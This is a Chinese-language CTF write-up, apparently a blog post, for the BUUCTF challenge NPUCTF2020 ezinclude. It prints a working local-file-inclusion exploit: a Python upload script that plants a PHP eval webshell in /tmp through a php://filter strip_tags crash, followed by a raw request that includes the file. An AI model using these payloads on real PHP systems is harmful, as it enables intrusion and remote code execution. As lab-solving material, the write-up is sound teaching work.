Web|Buuctf-[NPUCTF2020]ezinclude

发布时间 2023-05-06 14:21:46作者: scarecr0w7


查看源码提示md5($secret.$name)===$pass

cookie中存在hash,hash随着name的变化而变化

hash填入pass参数请求跳转到404页面

使用burpsuite发包,提示存在flflflflag.php页面

flag不在此页面,并且页面存在文件包含漏洞

读取flflflflag.php页面源码

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

没有什么有用的信息,扫描一下目录看还有哪些文件

config.php

<?php
$secret='%^$&$#fffdflag_is_not_here_ha_ha';
?>

dir.php

<?php
var_dump(scandir('/tmp'));
?>

php临时文件包含

PHP LFI 利用临时文件 Getshell 姿势
在tmp目录下写入webshell
脚本:

import requests
from io import BytesIO #BytesIO实现了在内存中读写bytes
payload = "<?php eval($_POST[cmd]);?>"
data={'file': BytesIO(payload.encode())}
url="http://848f5f75-1ea0-4f62-99cc-c042fc28b0d8.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r=requests.post(url=url,files=data,allow_redirects=False)

查看dir.php目录获取文件名

burpsuite发包

POST /flflflflag.php?file=/tmp/php8Heo05 HTTP/1.1
Host: 848f5f75-1ea0-4f62-99cc-c042fc28b0d8.node4.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

cmd=phpinfo();

发现flag

flag{7eaa471d-f287-434a-9071-97639caa7a01}